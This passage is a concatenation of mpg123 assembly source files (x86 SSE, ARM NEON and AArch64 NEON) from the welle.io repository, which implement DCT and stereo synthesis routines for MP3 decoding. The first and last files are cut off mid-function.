shufps $0xdd, %xmm2, %xmm1
movaps %xmm0, %xmm2
unpcklps %xmm1, %xmm0
unpckhps %xmm1, %xmm2
movups %xmm0, (SAMPLES)
movups %xmm2, 16(SAMPLES)
leal 32(SAMPLES), SAMPLES
decl %ecx
jnz 1b
xorl %eax, %eax
popl %esi
popl %ebx
movl %ebp, %esp
popl %ebp
ret
NONEXEC_STACK
|
AlbrechtL/welle.io | 5,228 | src/libs/mpg123/dct36_neon.S | /*
dct36_neon: ARM NEON optimized dct36
copyright 1995-2014 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
#ifndef _M_ARM
.code 32
#endif
#ifndef __APPLE__
.fpu neon
#endif
.text
ALIGN16
dct36_neon_COS9:
.word 0x3f5db3d7
.word 0x3f5db3d7
.word 0x3f000000
.word 0x3f000000
.word 0x3f7c1c5c
.word 0x3f7c1c5c
.word 0x3f708fb2
.word 0x3f708fb2
.word 0x3f248dbb
.word 0x3f248dbb
.word 0x3e31d0d4
.word 0x3e31d0d4
.word 0x3eaf1d44
.word 0x3eaf1d44
.word 0x3f441b7d
.word 0x3f441b7d
.word 0x3f007d2b
.word 0x3f0483ee
.word 0x3f0d3b7d
.word 0x3f1c4257
.word 0x40b79454
.word 0x3ff746ea
.word 0x3f976fd9
.word 0x3f5f2944
.word 0x3f800000
.word 0x3f3504f3
ALIGN4
GLOBAL_SYMBOL ASM_NAME(dct36_neon)
#ifdef __ELF__
.type ASM_NAME(dct36_neon), %function
#endif
ASM_NAME(dct36_neon):
push {r4-r5, lr}
vpush {q4-q7}
ldr r4, [sp, #76]
adr r5, dct36_neon_COS9
vceq.i32 q14, q14, q14
veor q15, q15, q15
vshl.i64 q14, q14, #32
vld1.32 {q0, q1}, [r0]!
vld1.32 {q2, q3}, [r0]!
vld1.32 {d8}, [r0]
vext.8 q5, q15, q0, #12
vext.8 q6, q0, q1, #12
vext.8 q7, q1, q2, #12
vext.8 q8, q2, q3, #12
vext.8 d18, d7, d8, #4
vadd.f32 q0, q0, q5
vadd.f32 q1, q1, q6
vadd.f32 q2, q2, q7
vadd.f32 q3, q3, q8
vadd.f32 d8, d8, d18
vext.8 q6, q0, q1, #8
vext.8 q7, q1, q2, #8
vext.8 q8, q2, q3, #8
vext.8 q9, q3, q4, #8
vand q10, q0, q14
vext.8 q0, q15, q0, #8
vand q11, q1, q14
vand q12, q2, q14
vand q13, q3, q14
vadd.f32 q1, q10, q6
vadd.f32 q2, q11, q7
vadd.f32 q3, q12, q8
vadd.f32 q4, q13, q9
/*
q0 in[-,-,0,1]
q1 in[2,3,4,5]
q2 in[6,7,8,9]
q3 in[10,11,12,13]
q4 in[14,15,16,17]
*/
vswp d5, d7
vswp d7, d9
/*
q2 in[6,7,12,13]
q3 in[10,11,16,17]
q4 in[14,15,8,9]
*/
vld1.32 {q5, q6}, [r5, :128]!
vld1.32 {q7, q8}, [r5, :128]!
vmov q9, q0
vmla.f32 q9, q2, q5
/*
q6 COS9_[1,1,2,2]
q7 COS9_[5,5,8,8]
q8 COS9_[7,7,4,4]
q5 COS9_[3,3,6,6]
q9 [ta33,tb33,ta66,tb66]
*/
vmov q10, q9
vmov d26, d0
vmov d27, d5
vmul.f32 q12, q1, q6
vsub.f32 q11, q1, q3
vmla.f32 q10, q3, q7
vsub.f32 q13, q0, q13
vmla.f32 q12, q4, q8
vsub.f32 q11, q11, q4
vmul.f32 q14, q1, q7
vmul.f32 q15, q1, q8
vadd.f32 q12, q12, q10
vmov q10, q9
vmla.f32 q13, q11, q5
vmla.f32 q10, q3, q8
vmla.f32 q14, q4, q6
vmla.f32 q9, q4, q7
vmla.f32 q15, q3, q6
vsub.f32 q14, q14, q10
vsub.f32 q15, q15, q9
/*
q12 [1a-0,1b-0, 2a-0, 2b-0]
q13 [1a-1,1b-1, 2a-1, 2b-1]
q14 [1a-2,1b-2,-2a-2,-2b-2]
q15 [1a-3,1b-3,-2a-3,-2b-3]
*/
vzip.32 q12, q13
vzip.32 q14, q15
vneg.f32 q15, q15
/*
q12 [1a-0,1a-1,1b-0,1b-1]
q13 [2a-0,2a-1,2b-0,2b-1]
q14 [1a-2,1a-3,1b-2,1b-3]
q15 [2a-2,2a-3,2b-2,2b-3]
*/
vswp d25, d28
vswp d27, d30
/*
q12 tmp1a
q13 tmp2a
q14 tmp1b
q15 tmp2b
*/
vsub.f32 d1, d1, d3
vsub.f32 d9, d9, d5
vld1.32 {q5, q6}, [r5, :128]!
vld1.32 {d0}, [r5, :64]
vadd.f32 q10, q14, q15
vsub.f32 q8, q15, q14
vadd.f32 d1, d1, d7
vadd.f32 q9, q12, q13
vsub.f32 q7, q13, q12
vadd.f32 d1, d1, d9
vmul.f32 q10, q10, q5
vmul.f32 q8, q8, q6
vmul.f32 d0, d1, d0
/*
q9 tmp[0,1,2,3]
q10 tmp[17,16,15,14]
q7 tmp[8,7,6,5]
q8 tmp[9,10,11,12]
d0 tmp[4,13]
*/
add r0, r4, #640
add r5, r3, #20
vld1.32 {q1,q2}, [r5]
add r5, r3, #92
vld1.32 {q3,q4}, [r5]
add r5, r1, #20
vld1.32 {q5,q6}, [r5]
vadd.f32 q11, q9, q10
vsub.f32 q12, q9, q10
vmul.f32 q10, q11, q4
vmla.f32 q6, q12, q2
vrev64.32 q11, q11
vrev64.32 q12, q12
vswp d22, d23
vswp d24, d25
vmul.f32 q9, q11, q3
vmla.f32 q5, q12, q1
add r5, r2, #20
vst1.32 {q9,q10}, [r5]
mov r5, #128
vst1.32 {d10[0]}, [r0], r5
vst1.32 {d10[1]}, [r0], r5
vst1.32 {d11[0]}, [r0], r5
vst1.32 {d11[1]}, [r0], r5
vst1.32 {d12[0]}, [r0], r5
vst1.32 {d12[1]}, [r0], r5
vst1.32 {d13[0]}, [r0], r5
vst1.32 {d13[1]}, [r0], r5
add r0, r4, #1792
add r5, r3, #56
vld1.32 {q1}, [r3]
vld1.32 {q2,q3}, [r5]
add r5, r3, #128
vld1.32 {q4}, [r5]
add r5, r1, #56
vld1.32 {q5}, [r1]
vld1.32 {q6}, [r5]
vadd.f32 q9, q7, q8
vsub.f32 q10, q7, q8
vmul.f32 q7, q9, q3
vmla.f32 q5, q10, q1
vrev64.32 q9, q9
vrev64.32 q10, q10
vswp d18, d19
vswp d20, d21
vmul.f32 q8, q9, q4
vmla.f32 q6, q10, q2
add r5, r2, #56
vst1.32 {q7}, [r2]
vst1.32 {q8}, [r5]
mov r5, #128
vst1.32 {d10[0]}, [r4], r5
vst1.32 {d10[1]}, [r4], r5
vst1.32 {d11[0]}, [r4], r5
vst1.32 {d11[1]}, [r4], r5
vst1.32 {d12[0]}, [r0], r5
vst1.32 {d12[1]}, [r0], r5
vst1.32 {d13[0]}, [r0], r5
vst1.32 {d13[1]}, [r0], r5
vtrn.32 d0, d1
add r5, r3, #16
vld1.32 {d2}, [r5]
add r5, r3, #52
vld1.32 {d3}, [r5]
add r5, r3, #88
vld1.32 {d4}, [r5]
add r3, r3, #124
vld1.32 {d5}, [r3]
add r5, r1, #16
vld1.32 {d6}, [r5]
add r1, r1, #52
vld1.32 {d7}, [r1]
vadd.f32 d8, d0, d1
vsub.f32 d9, d0, d1
vmul.f32 d4, d8, d4
vmul.f32 d5, d8, d5
vmla.f32 d6, d9, d2
vmla.f32 d7, d9, d3
add r2, r2, #16
vst1.32 {d4[0]}, [r2]
add r2, r2, #36
vst1.32 {d5[0]}, [r2]
vst1.32 {d6[0]}, [r4]
add r4, r4, #1152
vst1.32 {d7[0]}, [r4]
vpop {q4-q7}
pop {r4-r5, pc}
NONEXEC_STACK
|
AlbrechtL/welle.io | 6,536 | src/libs/mpg123/synth_stereo_neon_accurate.S | /*
synth_stereo_neon_accurate: ARM NEON optimized synth (stereo specific, MPEG compliant 16-bit output version)
copyright 1995-2010 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
#define WINDOW r0
#define B0L r1
#define B0R r2
#define SAMPLES r3
/*
int synth_1to1_s_neon_accurate_asm(real *window, real *b0l, real *b0r, real *samples, int bo1);
return value: number of clipped samples
*/
.code 32
#ifndef __APPLE__
.fpu neon
#endif
.text
.globl ASM_NAME(synth_1to1_s_neon_accurate_asm)
#ifdef __ELF__
.type ASM_NAME(synth_1to1_s_neon_accurate_asm), %function
#endif
ASM_NAME(synth_1to1_s_neon_accurate_asm):
push {r4-r7, lr}
vpush {q4-q7}
ldr r4, [sp, #84]
mov r7, sp
sub sp, sp, #16
bic sp, #0xff
add WINDOW, WINDOW, #64
sub WINDOW, WINDOW, r4, lsl #2
mov r4, #4
mov r5, #128
mov r6, #64
1:
vld1.32 {q0,q1}, [WINDOW], r5
vld1.32 {q2,q3}, [WINDOW]
vld1.32 {q4,q5}, [B0L, :128], r6
vld1.32 {q6,q7}, [B0R, :128], r6
vld1.32 {q8,q9}, [B0L, :128]
vld1.32 {q10,q11}, [B0R, :128]
vmul.f32 q12, q0, q4
vmul.f32 q13, q0, q6
vmul.f32 q14, q2, q8
vmul.f32 q15, q2, q10
vmla.f32 q12, q1, q5
vmla.f32 q13, q1, q7
vmla.f32 q14, q3, q9
vmla.f32 q15, q3, q11
sub WINDOW, WINDOW, #96
sub B0L, B0L, #32
sub B0R, B0R, #32
vld1.32 {q0,q1}, [WINDOW], r5
vld1.32 {q2,q3}, [WINDOW]
vld1.32 {q4,q5}, [B0L, :128], r6
vld1.32 {q6,q7}, [B0R, :128], r6
vld1.32 {q8,q9}, [B0L, :128]!
vld1.32 {q10,q11}, [B0R, :128]!
vmla.f32 q12, q0, q4
vmla.f32 q13, q0, q6
vmla.f32 q14, q2, q8
vmla.f32 q15, q2, q10
add WINDOW, WINDOW, #96
vmla.f32 q12, q1, q5
vmla.f32 q13, q1, q7
vmla.f32 q14, q3, q9
vmla.f32 q15, q3, q11
vld1.32 {q0,q1}, [WINDOW], r5
vld1.32 {q2,q3}, [WINDOW]
vld1.32 {q4,q5}, [B0L, :128], r6
vld1.32 {q6,q7}, [B0R, :128], r6
vld1.32 {q8,q9}, [B0L, :128]
vld1.32 {q10,q11}, [B0R, :128]
vpadd.f32 d24, d24, d25
vpadd.f32 d25, d26, d27
vpadd.f32 d26, d28, d29
vpadd.f32 d27, d30, d31
vmov.i32 q15, #0x4b000000
vmvn.i32 q14, #0xb9000000
vorr.i32 q15, #0x00400000
vpadd.f32 d24, d24, d25
vpadd.f32 d25, d26, d27
vacgt.f32 q14, q12, q14
vadd.f32 q13, q12, q15
vld1.32 {q15}, [sp, :128]
vshr.u32 q14, q14, #31
vshl.i32 q13, q13, #10
vadd.i32 q14, q14, q15
vqshrn.s32 d26, q13, #10
vst1.32 {q14}, [sp, :128]
vst1.16 {d26}, [SAMPLES]!
vmul.f32 q12, q0, q4
vmul.f32 q13, q0, q6
vmul.f32 q14, q2, q8
vmul.f32 q15, q2, q10
vmla.f32 q12, q1, q5
vmla.f32 q13, q1, q7
vmla.f32 q14, q3, q9
vmla.f32 q15, q3, q11
sub WINDOW, WINDOW, #96
sub B0L, B0L, #32
sub B0R, B0R, #32
vld1.32 {q0,q1}, [WINDOW], r5
vld1.32 {q2,q3}, [WINDOW]
vld1.32 {q4,q5}, [B0L, :128], r6
vld1.32 {q6,q7}, [B0R, :128], r6
vld1.32 {q8,q9}, [B0L, :128]!
vld1.32 {q10,q11}, [B0R, :128]!
vmla.f32 q12, q0, q4
vmla.f32 q13, q0, q6
vmla.f32 q14, q2, q8
vmla.f32 q15, q2, q10
add WINDOW, WINDOW, #96
vmla.f32 q12, q1, q5
vmla.f32 q13, q1, q7
vmla.f32 q14, q3, q9
vmla.f32 q15, q3, q11
vpadd.f32 d24, d24, d25
vpadd.f32 d25, d26, d27
vpadd.f32 d26, d28, d29
vpadd.f32 d27, d30, d31
vmov.i32 q15, #0x4b000000
vmvn.i32 q14, #0xb9000000
vorr.i32 q15, #0x00400000
vpadd.f32 d24, d24, d25
vpadd.f32 d25, d26, d27
vacgt.f32 q14, q12, q14
vadd.f32 q13, q12, q15
vld1.32 {q15}, [sp, :128]
vshr.u32 q14, q14, #31
vshl.i32 q13, q13, #10
vadd.i32 q14, q14, q15
vqshrn.s32 d26, q13, #10
vst1.32 {q14}, [sp, :128]
vst1.16 {d26}, [SAMPLES]!
subs r4, r4, #1
bne 1b
mov r4, #4
mov r6, #-64
1:
vld1.32 {q0,q1}, [WINDOW], r5
vld1.32 {q2,q3}, [WINDOW]
vld1.32 {q4,q5}, [B0L, :128], r6
vld1.32 {q6,q7}, [B0R, :128], r6
vld1.32 {q8,q9}, [B0L, :128]
vld1.32 {q10,q11}, [B0R, :128]
vmul.f32 q12, q0, q4
vmul.f32 q13, q0, q6
vmul.f32 q14, q2, q8
vmul.f32 q15, q2, q10
vmla.f32 q12, q1, q5
vmla.f32 q13, q1, q7
vmla.f32 q14, q3, q9
vmla.f32 q15, q3, q11
sub WINDOW, WINDOW, #96
add B0L, B0L, #96
add B0R, B0R, #96
vld1.32 {q0,q1}, [WINDOW], r5
vld1.32 {q2,q3}, [WINDOW]
vld1.32 {q4,q5}, [B0L, :128], r6
vld1.32 {q6,q7}, [B0R, :128], r6
vld1.32 {q8,q9}, [B0L, :128]
vld1.32 {q10,q11}, [B0R, :128]
vmla.f32 q12, q0, q4
vmla.f32 q13, q0, q6
vmla.f32 q14, q2, q8
vmla.f32 q15, q2, q10
add WINDOW, WINDOW, #96
sub B0L, B0L, #96
sub B0R, B0R, #96
vmla.f32 q12, q1, q5
vmla.f32 q13, q1, q7
vmla.f32 q14, q3, q9
vmla.f32 q15, q3, q11
vld1.32 {q0,q1}, [WINDOW], r5
vld1.32 {q2,q3}, [WINDOW]
vld1.32 {q4,q5}, [B0L, :128], r6
vld1.32 {q6,q7}, [B0R, :128], r6
vld1.32 {q8,q9}, [B0L, :128]
vld1.32 {q10,q11}, [B0R, :128]
vpadd.f32 d24, d24, d25
vpadd.f32 d25, d26, d27
vpadd.f32 d26, d28, d29
vpadd.f32 d27, d30, d31
vmov.i32 q15, #0x4b000000
vmvn.i32 q14, #0xb9000000
vorr.i32 q15, #0x00400000
vpadd.f32 d24, d24, d25
vpadd.f32 d25, d26, d27
vacgt.f32 q14, q12, q14
vadd.f32 q13, q12, q15
vld1.32 {q15}, [sp, :128]
vshr.u32 q14, q14, #31
vshl.i32 q13, q13, #10
vadd.i32 q14, q14, q15
vqshrn.s32 d26, q13, #10
vst1.32 {q14}, [sp, :128]
vst1.16 {d26}, [SAMPLES]!
vmul.f32 q12, q0, q4
vmul.f32 q13, q0, q6
vmul.f32 q14, q2, q8
vmul.f32 q15, q2, q10
vmla.f32 q12, q1, q5
vmla.f32 q13, q1, q7
vmla.f32 q14, q3, q9
vmla.f32 q15, q3, q11
sub WINDOW, WINDOW, #96
add B0L, B0L, #96
add B0R, B0R, #96
vld1.32 {q0,q1}, [WINDOW], r5
vld1.32 {q2,q3}, [WINDOW]
vld1.32 {q4,q5}, [B0L, :128], r6
vld1.32 {q6,q7}, [B0R, :128], r6
vld1.32 {q8,q9}, [B0L, :128]
vld1.32 {q10,q11}, [B0R, :128]
vmla.f32 q12, q0, q4
vmla.f32 q13, q0, q6
vmla.f32 q14, q2, q8
vmla.f32 q15, q2, q10
add WINDOW, WINDOW, #96
sub B0L, B0L, #96
sub B0R, B0R, #96
vmla.f32 q12, q1, q5
vmla.f32 q13, q1, q7
vmla.f32 q14, q3, q9
vmla.f32 q15, q3, q11
vpadd.f32 d24, d24, d25
vpadd.f32 d25, d26, d27
vpadd.f32 d26, d28, d29
vpadd.f32 d27, d30, d31
vmov.i32 q15, #0x4b000000
vmvn.i32 q14, #0xb9000000
vorr.i32 q15, #0x00400000
vpadd.f32 d24, d24, d25
vpadd.f32 d25, d26, d27
vacgt.f32 q14, q12, q14
vadd.f32 q13, q12, q15
vld1.32 {q15}, [sp, :128]
vshr.u32 q14, q14, #31
vshl.i32 q13, q13, #10
vadd.i32 q14, q14, q15
vqshrn.s32 d26, q13, #10
vst1.32 {q14}, [sp, :128]
vst1.16 {d26}, [SAMPLES]!
subs r4, r4, #1
bne 1b
vld1.32 {q0}, [sp, :128]
vpadd.i32 d0, d0, d1
vpadd.i32 d0, d0, d0
vmov.32 r0, d0[0]
mov sp, r7
vpop {q4-q7}
pop {r4-r7, pc}
NONEXEC_STACK
|
AlbrechtL/welle.io | 5,468 | src/libs/mpg123/synth_stereo_neon_float.S | /*
synth_stereo_neon_float: ARM NEON optimized synth (stereo specific, float output version)
copyright 1995-2010 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
#define WINDOW r0
#define B0L r1
#define B0R r2
#define SAMPLES r3
/*
int synth_1to1_real_s_neon_asm(real *window, real *b0l, real *b0r, real *samples, int bo1);
return value: number of clipped samples (0)
*/
#ifndef _M_ARM
.code 32
#endif
#ifndef __APPLE__
.fpu neon
#endif
.text
GLOBAL_SYMBOL ASM_NAME(synth_1to1_real_s_neon_asm)
#ifdef __ELF__
.type ASM_NAME(synth_1to1_real_s_neon_asm), %function
#endif
ALIGN4
ASM_NAME(synth_1to1_real_s_neon_asm):
push {r4-r6, lr}
vpush {q4-q7}
ldr r4, [sp, #80]
add WINDOW, WINDOW, #64
sub WINDOW, WINDOW, r4, lsl #2
mov r4, #4
mov r5, #128
mov r6, #64
1:
vld1.32 {q0,q1}, [WINDOW], r5
vld1.32 {q2,q3}, [WINDOW]
vld1.32 {q4,q5}, [B0L, :128], r6
vld1.32 {q6,q7}, [B0R, :128], r6
vld1.32 {q8,q9}, [B0L, :128]
vld1.32 {q10,q11}, [B0R, :128]
vmul.f32 q12, q0, q4
vmul.f32 q13, q0, q6
vmul.f32 q14, q2, q8
vmul.f32 q15, q2, q10
vmla.f32 q12, q1, q5
vmla.f32 q13, q1, q7
vmla.f32 q14, q3, q9
vmla.f32 q15, q3, q11
sub WINDOW, WINDOW, #96
sub B0L, B0L, #32
sub B0R, B0R, #32
vld1.32 {q0,q1}, [WINDOW], r5
vld1.32 {q2,q3}, [WINDOW]
vld1.32 {q4,q5}, [B0L, :128], r6
vld1.32 {q6,q7}, [B0R, :128], r6
vld1.32 {q8,q9}, [B0L, :128]!
vld1.32 {q10,q11}, [B0R, :128]!
vmla.f32 q12, q0, q4
vmla.f32 q13, q0, q6
vmla.f32 q14, q2, q8
vmla.f32 q15, q2, q10
add WINDOW, WINDOW, #96
vmla.f32 q12, q1, q5
vmla.f32 q13, q1, q7
vmla.f32 q14, q3, q9
vmla.f32 q15, q3, q11
vld1.32 {q0,q1}, [WINDOW], r5
vld1.32 {q2,q3}, [WINDOW]
vld1.32 {q4,q5}, [B0L, :128], r6
vld1.32 {q6,q7}, [B0R, :128], r6
vld1.32 {q8,q9}, [B0L, :128]
vld1.32 {q10,q11}, [B0R, :128]
vpadd.f32 d24, d24, d25
vpadd.f32 d25, d26, d27
vpadd.f32 d26, d28, d29
vpadd.f32 d27, d30, d31
vmov.i32 q14, #0x38000000
vpadd.f32 d24, d24, d25
vpadd.f32 d25, d26, d27
vmul.f32 q15, q12, q14
vmul.f32 q12, q0, q4
vmul.f32 q13, q0, q6
vmul.f32 q14, q2, q8
vst1.32 {q15}, [SAMPLES]!
vmul.f32 q15, q2, q10
vmla.f32 q12, q1, q5
vmla.f32 q13, q1, q7
vmla.f32 q14, q3, q9
vmla.f32 q15, q3, q11
sub WINDOW, WINDOW, #96
sub B0L, B0L, #32
sub B0R, B0R, #32
vld1.32 {q0,q1}, [WINDOW], r5
vld1.32 {q2,q3}, [WINDOW]
vld1.32 {q4,q5}, [B0L, :128], r6
vld1.32 {q6,q7}, [B0R, :128], r6
vld1.32 {q8,q9}, [B0L, :128]!
vld1.32 {q10,q11}, [B0R, :128]!
vmla.f32 q12, q0, q4
vmla.f32 q13, q0, q6
vmla.f32 q14, q2, q8
vmla.f32 q15, q2, q10
add WINDOW, WINDOW, #96
vmla.f32 q12, q1, q5
vmla.f32 q13, q1, q7
vmla.f32 q14, q3, q9
vmla.f32 q15, q3, q11
vpadd.f32 d24, d24, d25
vpadd.f32 d25, d26, d27
vpadd.f32 d26, d28, d29
vpadd.f32 d27, d30, d31
vmov.i32 q14, #0x38000000
vpadd.f32 d24, d24, d25
vpadd.f32 d25, d26, d27
vmul.f32 q12, q12, q14
vst1.32 {q12}, [SAMPLES]!
subs r4, r4, #1
bne 1b
mov r4, #4
mov r6, #-64
1:
vld1.32 {q0,q1}, [WINDOW], r5
vld1.32 {q2,q3}, [WINDOW]
vld1.32 {q4,q5}, [B0L, :128], r6
vld1.32 {q6,q7}, [B0R, :128], r6
vld1.32 {q8,q9}, [B0L, :128]
vld1.32 {q10,q11}, [B0R, :128]
vmul.f32 q12, q0, q4
vmul.f32 q13, q0, q6
vmul.f32 q14, q2, q8
vmul.f32 q15, q2, q10
vmla.f32 q12, q1, q5
vmla.f32 q13, q1, q7
vmla.f32 q14, q3, q9
vmla.f32 q15, q3, q11
sub WINDOW, WINDOW, #96
add B0L, B0L, #96
add B0R, B0R, #96
vld1.32 {q0,q1}, [WINDOW], r5
vld1.32 {q2,q3}, [WINDOW]
vld1.32 {q4,q5}, [B0L, :128], r6
vld1.32 {q6,q7}, [B0R, :128], r6
vld1.32 {q8,q9}, [B0L, :128]
vld1.32 {q10,q11}, [B0R, :128]
vmla.f32 q12, q0, q4
vmla.f32 q13, q0, q6
vmla.f32 q14, q2, q8
vmla.f32 q15, q2, q10
add WINDOW, WINDOW, #96
sub B0L, B0L, #96
sub B0R, B0R, #96
vmla.f32 q12, q1, q5
vmla.f32 q13, q1, q7
vmla.f32 q14, q3, q9
vmla.f32 q15, q3, q11
vld1.32 {q0,q1}, [WINDOW], r5
vld1.32 {q2,q3}, [WINDOW]
vld1.32 {q4,q5}, [B0L, :128], r6
vld1.32 {q6,q7}, [B0R, :128], r6
vld1.32 {q8,q9}, [B0L, :128]
vld1.32 {q10,q11}, [B0R, :128]
vpadd.f32 d24, d24, d25
vpadd.f32 d25, d26, d27
vpadd.f32 d26, d28, d29
vpadd.f32 d27, d30, d31
vmov.i32 q14, #0x38000000
vpadd.f32 d24, d24, d25
vpadd.f32 d25, d26, d27
vmul.f32 q15, q12, q14
vmul.f32 q12, q0, q4
vmul.f32 q13, q0, q6
vmul.f32 q14, q2, q8
vst1.32 {q15}, [SAMPLES]!
vmul.f32 q15, q2, q10
vmla.f32 q12, q1, q5
vmla.f32 q13, q1, q7
vmla.f32 q14, q3, q9
vmla.f32 q15, q3, q11
sub WINDOW, WINDOW, #96
add B0L, B0L, #96
add B0R, B0R, #96
vld1.32 {q0,q1}, [WINDOW], r5
vld1.32 {q2,q3}, [WINDOW]
vld1.32 {q4,q5}, [B0L, :128], r6
vld1.32 {q6,q7}, [B0R, :128], r6
vld1.32 {q8,q9}, [B0L, :128]
vld1.32 {q10,q11}, [B0R, :128]
vmla.f32 q12, q0, q4
vmla.f32 q13, q0, q6
vmla.f32 q14, q2, q8
vmla.f32 q15, q2, q10
add WINDOW, WINDOW, #96
sub B0L, B0L, #96
sub B0R, B0R, #96
vmla.f32 q12, q1, q5
vmla.f32 q13, q1, q7
vmla.f32 q14, q3, q9
vmla.f32 q15, q3, q11
vpadd.f32 d24, d24, d25
vpadd.f32 d25, d26, d27
vpadd.f32 d26, d28, d29
vpadd.f32 d27, d30, d31
vmov.i32 q14, #0x38000000
vpadd.f32 d24, d24, d25
vpadd.f32 d25, d26, d27
vmul.f32 q12, q12, q14
vst1.32 {q12}, [SAMPLES]!
subs r4, r4, #1
bne 1b
mov r0, #0
vpop {q4-q7}
pop {r4-r6, pc}
NONEXEC_STACK
|
AlbrechtL/welle.io | 9,249 | src/libs/mpg123/dct64_neon64.S | /*
dct64_neon64: NEON optimized dct64 for AArch64
copyright 1995-2014 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
#ifndef __APPLE__
.section .rodata
#else
.data
#endif
ALIGN16
costab_neon_aarch64:
.word 1056974725
.word 1057056395
.word 1057223771
.word 1057485416
.word 1057855544
.word 1058356026
.word 1059019886
.word 1059897405
.word 1061067246
.word 1062657950
.word 1064892987
.word 1066774581
.word 1069414683
.word 1073984175
.word 1079645762
.word 1092815430
.word 1057005197
.word 1057342072
.word 1058087743
.word 1059427869
.word 1061799040
.word 1065862217
.word 1071413542
.word 1084439708
.word 1057128951
.word 1058664893
.word 1063675095
.word 1076102863
.word 1057655764
.word 1067924853
.word 1060439283
.word 1060439283
.text
ALIGN4
.globl ASM_NAME(dct64_neon64)
#ifdef __ELF__
.type ASM_NAME(dct64_neon64), %function
#endif
ASM_NAME(dct64_neon64):
add x3, x2, #64
adrp x4, AARCH64_PCREL_HI(costab_neon_aarch64)
add x4, x4, AARCH64_PCREL_LO(costab_neon_aarch64)
ld1 {v0.4s, v1.4s, v2.4s, v3.4s}, [x2]
ld1 {v16.4s, v17.4s, v18.4s, v19.4s}, [x3]
ld1 {v20.4s, v21.4s, v22.4s, v23.4s}, [x4], #64
rev64 v19.4s, v19.4s
rev64 v18.4s, v18.4s
rev64 v17.4s, v17.4s
rev64 v16.4s, v16.4s
ext v4.16b, v19.16b, v19.16b, #8
ext v5.16b, v18.16b, v18.16b, #8
ext v6.16b, v17.16b, v17.16b, #8
ext v7.16b, v16.16b, v16.16b, #8
fsub v16.4s, v3.4s, v7.4s
fsub v17.4s, v2.4s, v6.4s
fsub v18.4s, v1.4s, v5.4s
fsub v19.4s, v0.4s, v4.4s
fadd v0.4s, v0.4s, v4.4s /* bs[0,1,2,3] */
fadd v1.4s, v1.4s, v5.4s /* bs[4,5,6,7] */
fadd v2.4s, v2.4s, v6.4s /* bs[8,9,10,11] */
fadd v3.4s, v3.4s, v7.4s /* bs[12,13,14,15] */
fmul v16.4s, v16.4s, v23.4s /* bs[19,18,17,16] */
fmul v17.4s, v17.4s, v22.4s /* bs[23,22,21,20] */
fmul v18.4s, v18.4s, v21.4s /* bs[27,26,25,24] */
fmul v19.4s, v19.4s, v20.4s /* bs[31,30,29,28] */
ld1 {v20.4s, v21.4s}, [x4], #32
rev64 v22.4s, v3.4s
rev64 v23.4s, v2.4s
rev64 v24.4s, v16.4s
rev64 v25.4s, v17.4s
ext v4.16b, v22.16b, v22.16b, #8 /* bs[15,14,13,12] */
ext v5.16b, v23.16b, v23.16b, #8 /* bs[11,10,9,8] */
ext v6.16b, v24.16b, v24.16b, #8 /* bs[16,17,18,19] */
ext v7.16b, v25.16b, v25.16b, #8 /* bs[20,21,22,23] */
fsub v26.4s, v1.4s, v5.4s
fsub v27.4s, v0.4s, v4.4s
fsub v28.4s, v18.4s, v7.4s
fsub v29.4s, v19.4s, v6.4s
fadd v4.4s, v0.4s, v4.4s /* bs[32,33,34,35] */
fadd v5.4s, v1.4s, v5.4s /* bs[36,37,38,39] */
fadd v6.4s, v6.4s, v19.4s /* bs[48,49,50,51] */
fadd v7.4s, v7.4s, v18.4s /* bs[52,53,54,55] */
fmul v26.4s, v26.4s, v21.4s /* bs[43,42,41,40] */
fmul v27.4s, v27.4s, v20.4s /* bs[47,46,45,44] */
fmul v28.4s, v28.4s, v21.4s /* bs[59,58,57,56] */
fmul v29.4s, v29.4s, v20.4s /* bs[63,62,61,60] */
ld1 {v20.4s}, [x4], #16
rev64 v16.4s, v5.4s
rev64 v17.4s, v26.4s
rev64 v18.4s, v7.4s
rev64 v19.4s, v28.4s
ext v0.16b, v16.16b, v16.16b, #8 /* bs[39,38,37,36] */
ext v1.16b, v17.16b, v17.16b, #8 /* bs[40,41,42,43] */
ext v2.16b, v18.16b, v18.16b, #8 /* bs[55,54,53,52] */
ext v3.16b, v19.16b, v19.16b, #8 /* bs[56,57,58,59] */
fsub v16.4s, v4.4s, v0.4s
fsub v17.4s, v27.4s, v1.4s
fsub v18.4s, v6.4s, v2.4s
fsub v19.4s, v29.4s, v3.4s
fadd v0.4s, v4.4s, v0.4s /* bs[0,1,2,3] */
fadd v1.4s, v1.4s, v27.4s /* bs[8,9,10,11] */
fadd v2.4s, v6.4s, v2.4s /* bs[16,17,18,19] */
fadd v3.4s, v3.4s, v29.4s /* bs[24,25,26,27] */
fmul v16.4s, v16.4s, v20.4s /* bs[7,6,5,4] */
fmul v17.4s, v17.4s, v20.4s /* bs[15,14,13,12] */
fmul v18.4s, v18.4s, v20.4s /* bs[23,22,21,20] */
fmul v19.4s, v19.4s, v20.4s /* bs[31,30,29,28] */
ld1 {v28.4s}, [x4]
zip1 v4.2d, v0.2d, v16.2d /* bs[0,1,7,6] */
zip2 v5.2d, v0.2d, v16.2d /* bs[2,3,5,4] */
zip1 v6.2d, v1.2d, v17.2d /* bs[8,9,15,14] */
zip2 v7.2d, v1.2d, v17.2d /* bs[10,11,13,12] */
zip1 v20.2d, v2.2d, v18.2d /* bs[16,17,23,22] */
zip2 v21.2d, v2.2d, v18.2d /* bs[18,19,21,20] */
zip1 v22.2d, v3.2d, v19.2d /* bs[24,25,31,30] */
zip2 v23.2d, v3.2d, v19.2d /* bs[26,27,29,28] */
rev64 v5.4s, v5.4s /* bs[3,2,4,5] */
rev64 v7.4s, v7.4s /* bs[11,10,12,13] */
rev64 v21.4s, v21.4s /* bs[19,18,20,21] */
rev64 v23.4s, v23.4s /* bs[27,26,28,29] */
AARCH64_DUP_2D(v29, v28, 0)
AARCH64_DUP_4S(v28, v28, 2)
fsub v16.4s, v4.4s, v5.4s
fsub v17.4s, v6.4s, v7.4s
fsub v18.4s, v20.4s, v21.4s
